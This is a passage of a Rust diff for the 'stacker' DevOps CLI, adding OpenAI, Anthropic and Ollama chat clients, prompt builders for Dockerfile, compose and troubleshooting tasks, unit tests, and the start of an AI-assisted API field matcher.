tools_json, + "tool_choice": "auto", + "temperature": 0.3 + }); + + let client = reqwest::blocking::Client::builder() + .timeout(std::time::Duration::from_secs(self.timeout_secs)) + .build() + .map_err(|e| CliError::AiProviderError { + provider: "openai".to_string(), + message: format!("Failed to build HTTP client: {}", e), + })?; + + let response = client + .post(&self.endpoint) + .header("Authorization", format!("Bearer {}", self.api_key)) + .header("Content-Type", "application/json") + .json(&body) + .send() + .map_err(|e| CliError::AiProviderError { + provider: "openai".to_string(), + message: format!("Request failed: {}", e), + })?; + + if !response.status().is_success() { + let status = response.status(); + let text = response.text().unwrap_or_default(); + return Err(CliError::AiProviderError { + provider: "openai".to_string(), + message: format!("HTTP {} — {}", status, text), + }); + } + + let json: serde_json::Value = response.json().map_err(|e| CliError::AiProviderError { + provider: "openai".to_string(), + message: format!("Failed to parse response: {}", e), + })?; + + let msg = &json["choices"][0]["message"]; + let content = msg["content"].as_str().unwrap_or("").to_string(); + + if let Some(tcs) = msg["tool_calls"].as_array() { + if !tcs.is_empty() { + let calls: Vec = tcs + .iter() + .filter_map(|tc| { + let id = tc["id"].as_str().map(|s| s.to_string()); + let func = &tc["function"]; + let name = func["name"].as_str()?.to_string(); + // OpenAI encodes arguments as a JSON string + let arguments: serde_json::Value = + serde_json::from_str(func["arguments"].as_str().unwrap_or("{}")) + .unwrap_or(serde_json::json!({})); + Some(ToolCall { + id, + name, + arguments, + }) + }) + .collect(); + return Ok(AiResponse::ToolCalls(content, calls)); + } + } + + Ok(AiResponse::Text(content)) + } + + fn complete(&self, prompt: &str, context: &str) -> Result { + let body = serde_json::json!({ + "model": self.model, + "messages": [ + { "role": "system", "content": context }, + { "role": "user", "content": prompt } + ], + "temperature": 0.3 + }); + + let client = reqwest::blocking::Client::builder() + .timeout(std::time::Duration::from_secs(self.timeout_secs)) + .build() + .map_err(|e| CliError::AiProviderError { + provider: "openai".to_string(), + message: format!("Failed to build HTTP client: {}", e), + })?; + + let response = client + .post(&self.endpoint) + .header("Authorization", format!("Bearer {}", self.api_key)) + .header("Content-Type", "application/json") + .json(&body) + .send() + .map_err(|e| CliError::AiProviderError { + provider: "openai".to_string(), + message: format!("Request failed: {}", e), + })?; + + if !response.status().is_success() { + let status = response.status(); + let text = response.text().unwrap_or_default(); + return Err(CliError::AiProviderError { + provider: "openai".to_string(), + message: format!("HTTP {} — {}", status, text), + }); + } + + let json: serde_json::Value = response.json().map_err(|e| CliError::AiProviderError { + provider: "openai".to_string(), + message: format!("Failed to parse response: {}", e), + })?; + + json["choices"][0]["message"]["content"] + .as_str() + .map(|s| s.to_string()) + .ok_or_else(|| CliError::AiProviderError { + provider: "openai".to_string(), + message: "No content in response".to_string(), + }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// AnthropicProvider — Claude API +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Calls the Anthropic Messages API. +pub struct AnthropicProvider { + pub endpoint: String, + pub api_key: String, + pub model: String, + pub timeout_secs: u64, +} + +impl AnthropicProvider { + pub fn from_config(config: &AiConfig) -> Result { + let api_key = config.api_key.clone().ok_or(CliError::AiProviderError { + provider: "anthropic".to_string(), + message: "api_key is required for Anthropic provider".to_string(), + })?; + + Ok(Self { + endpoint: config + .endpoint + .clone() + .unwrap_or_else(|| ANTHROPIC_API_URL.to_string()), + api_key, + model: config + .model + .clone() + .unwrap_or_else(|| default_model(AiProviderType::Anthropic).to_string()), + timeout_secs: resolve_timeout(config.timeout), + }) + } +} + +impl AiProvider for AnthropicProvider { + fn name(&self) -> &str { + "anthropic" + } + + fn complete(&self, prompt: &str, context: &str) -> Result { + let body = serde_json::json!({ + "model": self.model, + "max_tokens": 4096, + "system": context, + "messages": [ + { "role": "user", "content": prompt } + ] + }); + + let client = reqwest::blocking::Client::builder() + .timeout(std::time::Duration::from_secs(self.timeout_secs)) + .build() + .map_err(|e| CliError::AiProviderError { + provider: "anthropic".to_string(), + message: format!("Failed to build HTTP client: {}", e), + })?; + + let response = client + .post(&self.endpoint) + .header("x-api-key", &self.api_key) + .header("anthropic-version", "2023-06-01") + .header("Content-Type", "application/json") + .json(&body) + .send() + .map_err(|e| CliError::AiProviderError { + provider: "anthropic".to_string(), + message: format!("Request failed: {}", e), + })?; + + if !response.status().is_success() { + let status = response.status(); + let text = response.text().unwrap_or_default(); + return Err(CliError::AiProviderError { + provider: "anthropic".to_string(), + message: format!("HTTP {} — {}", status, text), + }); + } + + let json: serde_json::Value = response.json().map_err(|e| CliError::AiProviderError { + provider: "anthropic".to_string(), + message: format!("Failed to parse response: {}", e), + })?; + + json["content"][0]["text"] + .as_str() + .map(|s| s.to_string()) + .ok_or_else(|| CliError::AiProviderError { + provider: "anthropic".to_string(), + message: "No content in response".to_string(), + }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// OllamaProvider — local Ollama instance +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Calls a local Ollama chat API. No API key required. +pub struct OllamaProvider { + pub endpoint: String, + pub model: String, + pub timeout_secs: u64, +} + +impl OllamaProvider { + pub fn from_config(config: &AiConfig) -> Self { + let endpoint = config + .endpoint + .as_deref() + .map(normalize_ollama_endpoint) + .unwrap_or_else(|| OLLAMA_API_URL.to_string()); + + let model = match config.model.clone() { + Some(m) => { + // Verify the configured model is actually available + let available = list_ollama_models(Some(&endpoint)); + if available.is_empty() { + // Ollama unreachable — use the configured model as-is + m + } else if available.iter().any(|a| { + let base = a.split(':').next().unwrap_or(a); + let m_base = m.split(':').next().unwrap_or(&m); + a == &m || base == m_base + }) { + m + } else { + // Configured model not found — auto-detect + eprintln!(" ⚠ Model '{}' not found in Ollama, auto-detecting...", m); + match pick_ollama_model(Some(&endpoint)) { + Some(detected) => { + eprintln!(" Using Ollama model: {}", detected); + detected + } + None => m, // nothing else available, try anyway + } + } + } + None => { + // No model configured — auto-detect + match pick_ollama_model(Some(&endpoint)) { + Some(m) => { + eprintln!(" Using Ollama model: {}", m); + m + } + None => { + let default = default_model(AiProviderType::Ollama).to_string(); + eprintln!(" No models detected, trying default: {}", default); + default + } + } + } + }; + + let timeout_secs = resolve_timeout(config.timeout); + + Self { + endpoint, + model, + timeout_secs, + } + } +} + +impl AiProvider for OllamaProvider { + fn name(&self) -> &str { + "ollama" + } + + fn supports_tools(&self) -> bool { + true + } + + fn complete_with_tools( + &self, + messages: &[ChatMessage], + tools: &[ToolDef], + ) -> Result { + let messages_json: Vec = messages + .iter() + .map(|m| { + let mut obj = serde_json::json!({ "role": m.role, "content": m.content }); + // Include previous assistant tool_calls in history so the model + // understands its own prior turn. + if let Some(tcs) = &m.tool_calls { + obj["tool_calls"] = serde_json::json!(tcs + .iter() + .map(|tc| { + serde_json::json!({ + "function": { + "name": tc.name, + "arguments": tc.arguments + } + }) + }) + .collect::>()); + } + obj + }) + .collect(); + + let tools_json: Vec = tools + .iter() + .map(|t| { + serde_json::json!({ + "type": "function", + "function": { + "name": t.name, + "description": t.description, + "parameters": t.parameters + } + }) + }) + .collect(); + + let body = serde_json::json!({ + "model": self.model, + "stream": false, + "messages": messages_json, + "tools": tools_json + }); + + let client = reqwest::blocking::Client::builder() + .timeout(std::time::Duration::from_secs(self.timeout_secs)) + .build() + .map_err(|e| CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("Failed to build HTTP client: {}", e), + })?; + + let response = client + .post(&self.endpoint) + .header("Content-Type", "application/json") + .json(&body) + .send() + .map_err(|e| CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("Request failed (is Ollama running?): {}", e), + })?; + + if !response.status().is_success() { + let status = response.status(); + let text = response.text().unwrap_or_default(); + return Err(CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("HTTP {} — {}", status, text), + }); + } + + let json: serde_json::Value = response.json().map_err(|e| CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("Failed to parse response: {}", e), + })?; + + let msg = &json["message"]; + let content = msg["content"].as_str().unwrap_or("").to_string(); + + // Ollama returns tool calls as message.tool_calls (array of objects + // with a "function" sub-object whose "arguments" is already a JSON + // object, not a string). + if let Some(tcs) = msg["tool_calls"].as_array() { + if !tcs.is_empty() { + let calls: Vec = tcs + .iter() + .filter_map(|tc| { + let func = &tc["function"]; + let name = func["name"].as_str()?.to_string(); + // arguments may be a JSON object or a JSON string + let arguments = if func["arguments"].is_object() { + func["arguments"].clone() + } else if let Some(s) = func["arguments"].as_str() { + serde_json::from_str(s).unwrap_or(serde_json::json!({})) + } else { + serde_json::json!({}) + }; + Some(ToolCall { + id: None, + name, + arguments, + }) + }) + .collect(); + return Ok(AiResponse::ToolCalls(content, calls)); + } + } + + Ok(AiResponse::Text(content)) + } + + fn complete(&self, prompt: &str, context: &str) -> Result { + let body = serde_json::json!({ + "model": self.model, + "stream": false, + "messages": [ + { "role": "system", "content": context }, + { "role": "user", "content": prompt } + ] + }); + + let client = reqwest::blocking::Client::builder() + .timeout(std::time::Duration::from_secs(self.timeout_secs)) + .build() + .map_err(|e| CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("Failed to build HTTP client: {}", e), + })?; + + let response = client + .post(&self.endpoint) + .header("Content-Type", "application/json") + .json(&body) + .send() + .map_err(|e| CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("Request failed (is Ollama running?): {}", e), + })?; + + if !response.status().is_success() { + let status = response.status(); + let text = response.text().unwrap_or_default(); + return Err(CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("HTTP {} — {}", status, text), + }); + } + + let json: serde_json::Value = response.json().map_err(|e| CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("Failed to parse response: {}", e), + })?; + + json["message"]["content"] + .as_str() + .map(|s| s.to_string()) + .ok_or_else(|| CliError::AiProviderError { + provider: "ollama".to_string(), + message: "No content in response".to_string(), + }) + } +} + +/// Stream a response from Ollama and print token chunks to stderr as they arrive. +/// Returns the full accumulated response text. +pub fn ollama_complete_streaming( + config: &AiConfig, + prompt: &str, + context: &str, +) -> Result { + let provider = OllamaProvider::from_config(config); + + let body = serde_json::json!({ + "model": provider.model, + "stream": true, + "messages": [ + { "role": "system", "content": context }, + { "role": "user", "content": prompt } + ] + }); + + let client = reqwest::blocking::Client::builder() + .timeout(std::time::Duration::from_secs(provider.timeout_secs)) + .build() + .map_err(|e| CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("Failed to build HTTP client: {}", e), + })?; + + let response = client + .post(&provider.endpoint) + .header("Content-Type", "application/json") + .json(&body) + .send() + .map_err(|e| CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("Request failed (is Ollama running?): {}", e), + })?; + + if !response.status().is_success() { + let status = response.status(); + let text = response.text().unwrap_or_default(); + return Err(CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("HTTP {} — {}", status, text), + }); + } + + let mut content = String::new(); + let mut reader = BufReader::new(response); + let mut line = String::new(); + + loop { + line.clear(); + let bytes = reader + .read_line(&mut line) + .map_err(|e| CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("Failed to read stream: {}", e), + })?; + if bytes == 0 { + break; + } + + let trimmed = line.trim(); + if trimmed.is_empty() { + continue; + } + + let json: serde_json::Value = + serde_json::from_str(trimmed).map_err(|e| CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("Invalid streaming chunk: {}", e), + })?; + + if let Some(chunk) = json["message"]["content"].as_str() { + eprint!("{}", chunk); + let _ = std::io::stderr().flush(); + content.push_str(chunk); + } + + if json["done"].as_bool().unwrap_or(false) { + break; + } + } + + Ok(content) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Provider factory +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Create the appropriate provider from an `AiConfig`. +/// Returns `AiNotConfigured` if AI is disabled. +pub fn create_provider(config: &AiConfig) -> Result, CliError> { + if !config.enabled { + return Err(CliError::AiNotConfigured); + } + + match config.provider { + AiProviderType::Openai | AiProviderType::Custom => { + Ok(Box::new(OpenAiProvider::from_config(config)?)) + } + AiProviderType::Anthropic => Ok(Box::new(AnthropicProvider::from_config(config)?)), + AiProviderType::Ollama => Ok(Box::new(OllamaProvider::from_config(config))), + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Prompt building +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Predefined AI task types that map to `AiConfig.tasks`. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum AiTask { + Dockerfile, + Compose, + Troubleshoot, + Optimize, +} + +impl AiTask { + pub fn as_str(&self) -> &'static str { + match self { + Self::Dockerfile => "dockerfile", + Self::Compose => "compose", + Self::Troubleshoot => "troubleshoot", + Self::Optimize => "optimize", + } + } +} + +/// Context for building AI prompts. +#[derive(Debug, Clone, Default)] +pub struct PromptContext { + pub project_type: Option, + pub files: Vec, + pub error_log: Option, + pub current_config: Option, +} + +/// System message providing context about the stacker CLI. +const SYSTEM_CONTEXT: &str = "\ +You are an expert DevOps assistant integrated into the `stacker` CLI tool. \ +Stacker helps developers deploy web applications using Docker, docker-compose, \ +Terraform, and Ansible. You provide concise, production-ready configurations. \ +Always use multi-stage builds when appropriate. Prefer Alpine-based images. \ +Include health checks. Follow Docker and security best practices."; + +/// Build a prompt for Dockerfile generation. +pub fn build_dockerfile_prompt(ctx: &PromptContext) -> (String, String) { + let project_type = ctx + .project_type + .map(|t| t.to_string()) + .unwrap_or_else(|| "unknown".to_string()); + + let files_list = if ctx.files.is_empty() { + "No files detected".to_string() + } else { + ctx.files.join(", ") + }; + + let prompt = format!( + "Generate an optimized Dockerfile for a {} project.\n\ + Detected files: {}\n\ + Requirements:\n\ + - Multi-stage build if applicable\n\ + - Alpine base image preferred\n\ + - Non-root user\n\ + - .dockerignore recommendations\n\ + Return only the Dockerfile content.", + project_type, files_list + ); + + (SYSTEM_CONTEXT.to_string(), prompt) +} + +/// Build a prompt for docker-compose generation/improvement. +pub fn build_compose_prompt(ctx: &PromptContext) -> (String, String) { + let project_type = ctx + .project_type + .map(|t| t.to_string()) + .unwrap_or_else(|| "unknown".to_string()); + + let current = ctx + .current_config + .as_deref() + .unwrap_or("No existing compose file"); + + let prompt = format!( + "Generate or improve a docker-compose.yml for a {} project.\n\ + Current config:\n```yaml\n{}\n```\n\ + Requirements:\n\ + - Named volumes for persistence\n\ + - Health checks for services\n\ + - Proper networking\n\ + - Resource limits\n\ + Return only the docker-compose.yml content.", + project_type, current + ); + + (SYSTEM_CONTEXT.to_string(), prompt) +} + +/// Build a prompt for troubleshooting deployment issues. +pub fn build_troubleshoot_prompt(ctx: &PromptContext) -> (String, String) { + let error = ctx.error_log.as_deref().unwrap_or("No error log provided"); + + let prompt = format!( + "Diagnose and fix the following deployment issue.\n\ + Error log:\n```\n{}\n```\n\ + Provide:\n\ + 1. Root cause analysis\n\ + 2. Step-by-step fix\n\ + 3. Prevention recommendations", + error + ); + + (SYSTEM_CONTEXT.to_string(), prompt) +} + +/// Build a prompt based on task type. +pub fn build_prompt(task: AiTask, ctx: &PromptContext) -> (String, String) { + match task { + AiTask::Dockerfile => build_dockerfile_prompt(ctx), + AiTask::Compose => build_compose_prompt(ctx), + AiTask::Troubleshoot => build_troubleshoot_prompt(ctx), + AiTask::Optimize => build_dockerfile_prompt(ctx), // reuse dockerfile optimization + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + + // ── Mock provider ─────────────────────────────── + + struct MockAiProvider { + response: String, + } + + impl MockAiProvider { + fn with_response(response: &str) -> Self { + Self { + response: response.to_string(), + } + } + } + + impl AiProvider for MockAiProvider { + fn name(&self) -> &str { + "mock" + } + + fn complete(&self, _prompt: &str, _context: &str) -> Result { + Ok(self.response.clone()) + } + } + + // ── Phase 7 tests ─────────────────────────────── + + #[test] + fn test_ai_provider_from_config_openai() { + let config = AiConfig { + enabled: true, + provider: AiProviderType::Openai, + model: Some("gpt-4o".to_string()), + api_key: Some("sk-test-key".to_string()), + endpoint: None, + timeout: 300, + tasks: vec!["dockerfile".to_string()], + }; + + let provider = create_provider(&config).unwrap(); + assert_eq!(provider.name(), "openai"); + } + + #[test] + fn test_ai_provider_from_config_ollama() { + let config = AiConfig { + enabled: true, + provider: AiProviderType::Ollama, + model: None, + api_key: None, + endpoint: Some("http://localhost:11434/api/chat".to_string()), + timeout: 300, + tasks: vec![], + }; + + let provider = create_provider(&config).unwrap(); + assert_eq!(provider.name(), "ollama"); + } + + #[test] + fn test_ai_provider_from_config_anthropic() { + let config = AiConfig { + enabled: true, + provider: AiProviderType::Anthropic, + model: Some("claude-sonnet-4-20250514".to_string()), + api_key: Some("sk-ant-test".to_string()), + endpoint: None, + timeout: 300, + tasks: vec![], + }; + + let provider = create_provider(&config).unwrap(); + assert_eq!(provider.name(), "anthropic"); + } + + #[test] + fn test_mock_ai_complete() { + let provider = MockAiProvider::with_response("Use FROM node:lts-alpine"); + let result = provider + .complete("optimize dockerfile", "system context") + .unwrap(); + assert!(result.contains("node:lts-alpine")); + } + + #[test] + fn test_ai_build_prompt_for_dockerfile() { + let ctx = PromptContext { + project_type: Some(AppType::Node), + files: vec!["package.json".to_string(), "src/index.ts".to_string()], + error_log: None, + current_config: None, + }; + + let (system, prompt) = build_dockerfile_prompt(&ctx); + assert!(system.contains("DevOps")); + assert!(prompt.contains("node")); + assert!(prompt.contains("Dockerfile")); + assert!(prompt.contains("package.json")); + } + + #[test] + fn test_ai_build_prompt_for_troubleshoot() { + let ctx = PromptContext { + project_type: None, + files: vec![], + error_log: Some("connection refused on port 5432".to_string()), + current_config: None, + }; + + let (_, prompt) = build_troubleshoot_prompt(&ctx); + assert!(prompt.contains("connection refused")); + assert!(prompt.contains("Diagnose")); + } + + #[test] + fn test_ai_not_configured_returns_error() { + let config = AiConfig { + enabled: false, + ..Default::default() + }; + + let result = create_provider(&config); + assert!(result.is_err()); + let err = result.err().unwrap(); + match err { + CliError::AiNotConfigured => {} // expected + other => panic!("Expected AiNotConfigured, got: {:?}", other), + } + } + + // ── Additional tests ──────────────────────────── + + #[test] + fn test_openai_requires_api_key() { + let config = AiConfig { + enabled: true, + provider: AiProviderType::Openai, + api_key: None, + ..Default::default() + }; + + let result = create_provider(&config); + assert!(result.is_err()); + } + + #[test] + fn test_anthropic_requires_api_key() { + let config = AiConfig { + enabled: true, + provider: AiProviderType::Anthropic, + api_key: None, + ..Default::default() + }; + + let result = create_provider(&config); + assert!(result.is_err()); + } + + #[test] + fn test_ollama_no_api_key_needed() { + let config = AiConfig { + enabled: true, + provider: AiProviderType::Ollama, + api_key: None, + ..Default::default() + }; + + let provider = create_provider(&config).unwrap(); + assert_eq!(provider.name(), "ollama"); + } + + #[test] + fn test_custom_provider_uses_openai_compat() { + let config = AiConfig { + enabled: true, + provider: AiProviderType::Custom, + api_key: Some("custom-key".to_string()), + endpoint: Some("https://my-llm.local/v1/chat/completions".to_string()), + model: Some("my-model".to_string()), + timeout: 300, + tasks: vec![], + }; + + let provider = create_provider(&config).unwrap(); + // Custom uses OpenAI-compatible protocol + assert_eq!(provider.name(), "openai"); + } + + #[test] + fn test_default_models() { + assert_eq!(default_model(AiProviderType::Openai), "gpt-4o"); + assert_eq!(default_model(AiProviderType::Ollama), "llama3"); + assert!(default_model(AiProviderType::Anthropic).contains("claude")); + } + + #[test] + fn test_build_compose_prompt() { + let ctx = PromptContext { + project_type: Some(AppType::Python), + files: vec![], + error_log: None, + current_config: Some( + "version: '3'\nservices:\n web:\n image: python:3.11".to_string(), + ), + }; + + let (_, prompt) = build_compose_prompt(&ctx); + assert!(prompt.contains("python")); + assert!(prompt.contains("docker-compose.yml")); + assert!(prompt.contains("python:3.11")); + } + + #[test] + fn test_build_prompt_dispatches_correctly() { + let ctx = PromptContext { + project_type: Some(AppType::Rust), + files: vec!["Cargo.toml".to_string()], + ..Default::default() + }; + + let (_, dockerfile_prompt) = build_prompt(AiTask::Dockerfile, &ctx); + assert!(dockerfile_prompt.contains("rust")); + + let (_, compose_prompt) = build_prompt(AiTask::Compose, &ctx); + assert!(compose_prompt.contains("docker-compose")); + + let troubleshoot_ctx = PromptContext { + error_log: Some("exit code 1".to_string()), + ..Default::default() + }; + let (_, troubleshoot_prompt) = build_prompt(AiTask::Troubleshoot, &troubleshoot_ctx); + assert!(troubleshoot_prompt.contains("exit code 1")); + } + + #[test] + fn test_ai_task_as_str() { + assert_eq!(AiTask::Dockerfile.as_str(), "dockerfile"); + assert_eq!(AiTask::Compose.as_str(), "compose"); + assert_eq!(AiTask::Troubleshoot.as_str(), "troubleshoot"); + assert_eq!(AiTask::Optimize.as_str(), "optimize"); + } + + #[test] + fn test_openai_provider_from_config_defaults() { + let config = AiConfig { + enabled: true, + provider: AiProviderType::Openai, + api_key: Some("sk-test".to_string()), + model: None, + endpoint: None, + timeout: 300, + tasks: vec![], + }; + + let provider = OpenAiProvider::from_config(&config).unwrap(); + assert_eq!(provider.endpoint, OPENAI_API_URL); + assert_eq!(provider.model, "gpt-4o"); + } + + #[test] + fn test_ollama_provider_from_config_defaults() { + let config = AiConfig { + enabled: true, + provider: AiProviderType::Ollama, + ..Default::default() + }; + + let provider = OllamaProvider::from_config(&config); + assert_eq!(provider.endpoint, OLLAMA_API_URL); + // Model is either auto-detected from running Ollama or falls back to default + assert!(!provider.model.is_empty(), "model must not be empty"); + } + + #[test] + fn test_ollama_provider_from_config_explicit_model() { + // Use unreachable endpoint so list_ollama_models returns empty, + // meaning the configured model is used as-is (no validation possible). + let config = AiConfig { + enabled: true, + provider: AiProviderType::Ollama, + model: Some("custom-model".to_string()), + endpoint: Some("http://127.0.0.1:1/api/chat".to_string()), + ..Default::default() + }; + + let provider = OllamaProvider::from_config(&config); + assert_eq!(provider.model, "custom-model"); + } + + #[test] + fn test_ollama_provider_autodetects_when_model_missing() { + // With Ollama running and a model that doesn't exist, auto-detection + // should kick in and pick an available model. + let config = AiConfig { + enabled: true, + provider: AiProviderType::Ollama, + model: Some("nonexistent-model-xyz".to_string()), + ..Default::default() + }; + + let provider = OllamaProvider::from_config(&config); + // If Ollama is running, model is auto-detected; if not, original is kept + assert!(!provider.model.is_empty()); + } + + #[test] + fn test_prompt_context_default() { + let ctx = PromptContext::default(); + assert!(ctx.project_type.is_none()); + assert!(ctx.files.is_empty()); + assert!(ctx.error_log.is_none()); + assert!(ctx.current_config.is_none()); + } + + // ── Timeout resolution tests ──────────────── + // + // These tests mutate the `STACKER_AI_TIMEOUT` env var, which is a + // process-global resource. They must not run concurrently with each other + // to avoid flaky results. A single static mutex serialises access. + static TIMEOUT_ENV_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(()); + + #[test] + fn test_resolve_timeout_uses_config_value() { + let _guard = TIMEOUT_ENV_LOCK.lock().unwrap(); + std::env::remove_var("STACKER_AI_TIMEOUT"); + assert_eq!(resolve_timeout(600), 600); + assert_eq!(resolve_timeout(30), 30); + } + + #[test] + fn test_resolve_timeout_default_fallback() { + let _guard = TIMEOUT_ENV_LOCK.lock().unwrap(); + std::env::remove_var("STACKER_AI_TIMEOUT"); + // 0 means "use default" + assert_eq!(resolve_timeout(0), DEFAULT_AI_TIMEOUT_SECS); + } + + #[test] + fn test_resolve_timeout_env_overrides_config() { + let _guard = TIMEOUT_ENV_LOCK.lock().unwrap(); + std::env::set_var("STACKER_AI_TIMEOUT", "900"); + assert_eq!(resolve_timeout(300), 900); + std::env::remove_var("STACKER_AI_TIMEOUT"); + } + + #[test] + fn test_resolve_timeout_env_invalid_ignored() { + let _guard = TIMEOUT_ENV_LOCK.lock().unwrap(); + std::env::set_var("STACKER_AI_TIMEOUT", "not-a-number"); + assert_eq!(resolve_timeout(120), 120); + std::env::remove_var("STACKER_AI_TIMEOUT"); + } + + #[test] + fn test_provider_timeout_from_config() { + let _guard = TIMEOUT_ENV_LOCK.lock().unwrap(); + std::env::remove_var("STACKER_AI_TIMEOUT"); + let config = AiConfig { + enabled: true, + provider: AiProviderType::Ollama, + timeout: 600, + ..Default::default() + }; + let provider = OllamaProvider::from_config(&config); + assert_eq!(provider.timeout_secs, 600); + } + + #[test] + fn test_openai_provider_timeout_from_config() { + let _guard = TIMEOUT_ENV_LOCK.lock().unwrap(); + std::env::remove_var("STACKER_AI_TIMEOUT"); + let config = AiConfig { + enabled: true, + provider: AiProviderType::Openai, + api_key: Some("sk-test".to_string()), + timeout: 120, + ..Default::default() + }; + let provider = OpenAiProvider::from_config(&config).unwrap(); + assert_eq!(provider.timeout_secs, 120); + } +} diff --git a/stacker/stacker/src/cli/ai_field_matcher.rs b/stacker/stacker/src/cli/ai_field_matcher.rs new file mode 100644 index 0000000..b1fd231 --- /dev/null +++ b/stacker/stacker/src/cli/ai_field_matcher.rs @@ -0,0 +1,354 @@ +use std::collections::HashMap; + +use crate::cli::ai_client::{create_provider, AiProvider}; +use crate::cli::config_parser::AiConfig; +use crate::cli::error::CliError; +use crate::cli::field_matcher::{ + DeterministicFieldMatcher, FieldMatchResult, FieldMatcher, MatchingMode, TransformSuggestion, +}; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// AiFieldMatcher — LLM-powered semantic field matching +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +const FIELD_MATCH_SYSTEM_PROMPT: &str = "\ +You are a data integration expert. Given source and target API field lists, \ +produce a JSON field mapping. For each target field, find the best matching \ +source field using semantic understanding of field names, not just string patterns. + +Rules: +- Map each target field to exactly one source field (JSONPath format: $.field_name) +- Include a confidence score (0.0–1.0) for each mapping +- If no good match exists (confidence < 0.3), omit the mapping +- Suggest transformations when multiple source fields should combine (e.g., first_name + last_name → full_name) + +Respond with ONLY valid JSON in this exact format: +{ + \"mappings\": { + \"target_field\": {\"source\": \"$.source_field\", \"confidence\": 0.95} + }, + \"transformations\": [ + {\"target\": \"full_name\", \"expression\": \"concat($.first_name, ' ', $.last_name)\", \"description\": \"Combine first and last name\"} + ] +}"; + +pub struct AiFieldMatcher { + provider: Box, + model_name: String, +} + +impl AiFieldMatcher { + pub fn new(config: &AiConfig) -> Result { + let provider = create_provider(config)?; + let model_name = config + .model + .clone() + .unwrap_or_else(|| "default".to_string()); + Ok(Self { + provider, + model_name, + }) + } + + /// For testing: create from a pre-built provider. + #[cfg(test)] + pub fn from_provider(provider: Box, model_name: String) -> Self { + Self { + provider, + model_name, + } + } + + pub fn model_name(&self) -> &str { + &self.model_name + } + + fn build_prompt( + &self, + src_fields: &[String], + tgt_fields: &[String], + source_sample: Option<&serde_json::Value>, + ) -> String { + let mut prompt = format!( + "Source fields: [{}]\nTarget fields: [{}]", + src_fields.join(", "), + tgt_fields.join(", ") + ); + + if let Some(sample) = source_sample { + if let Ok(s) = serde_json::to_string(sample) { + // Truncate large samples + let truncated = if s.len() > 500 { &s[..500] } else { &s }; + prompt.push_str(&format!("\n\nSample source data: {}", truncated)); + } + } + + prompt + } + + fn parse_response( + &self, + response: &str, + ) -> Option<(HashMap, Vec)> { + // Try to extract JSON from the response (may be wrapped in markdown code blocks) + let json_str = extract_json_block(response); + let parsed: serde_json::Value = serde_json::from_str(json_str).ok()?; + + let mut field_mappings = HashMap::new(); + if let Some(mappings) = parsed.get("mappings").and_then(|m| m.as_object()) { + for (target, info) in mappings { + let source = info.get("source").and_then(|s| s.as_str())?; + let confidence = info + .get("confidence") + .and_then(|c| c.as_f64()) + .unwrap_or(0.8) as f32; + field_mappings.insert(target.clone(), (source.to_string(), confidence)); + } + } + + let mut suggestions = Vec::new(); + if let Some(transforms) = parsed.get("transformations").and_then(|t| t.as_array()) { + for t in transforms { + if let (Some(target), Some(expr), Some(desc)) = ( + t.get("target").and_then(|v| v.as_str()), + t.get("expression").and_then(|v| v.as_str()), + t.get("description").and_then(|v| v.as_str()), + ) { + suggestions.push(TransformSuggestion { + target_field: target.to_string(), + expression: expr.to_string(), + description: desc.to_string(), + }); + } + } + } + + Some((field_mappings, suggestions)) + } +} + +impl FieldMatcher for AiFieldMatcher { + fn match_fields( + &self, + src_fields: &[String], + tgt_fields: &[String], + source_sample: Option<&serde_json::Value>, + ) -> FieldMatchResult { + let prompt = self.build_prompt(src_fields, tgt_fields, source_sample); + + let response = match self.provider.complete(FIELD_MATCH_SYSTEM_PROMPT, &prompt) { + Ok(r) => r, + Err(e) => { + eprintln!( + " ⚠ AI field matching failed ({}), falling back to deterministic", + e + ); + return DeterministicFieldMatcher.match_fields( + src_fields, + tgt_fields, + source_sample, + ); + } + }; + + match self.parse_response(&response) { + Some((field_mappings, suggestions)) => { + let mut mapping = serde_json::Map::new(); + let mut confidence = HashMap::new(); + + for (target, (source, conf)) in &field_mappings { + mapping.insert(target.clone(), serde_json::Value::String(source.clone())); + confidence.insert(target.clone(), *conf); + } + + FieldMatchResult { + mapping: serde_json::Value::Object(mapping), + confidence, + suggestions, + mode: MatchingMode::Ai, + } + } + None => { + eprintln!(" ⚠ Failed to parse AI response, falling back to deterministic"); + DeterministicFieldMatcher.match_fields(src_fields, tgt_fields, source_sample) + } + } + } +} + +/// Extract a JSON block from a response that may 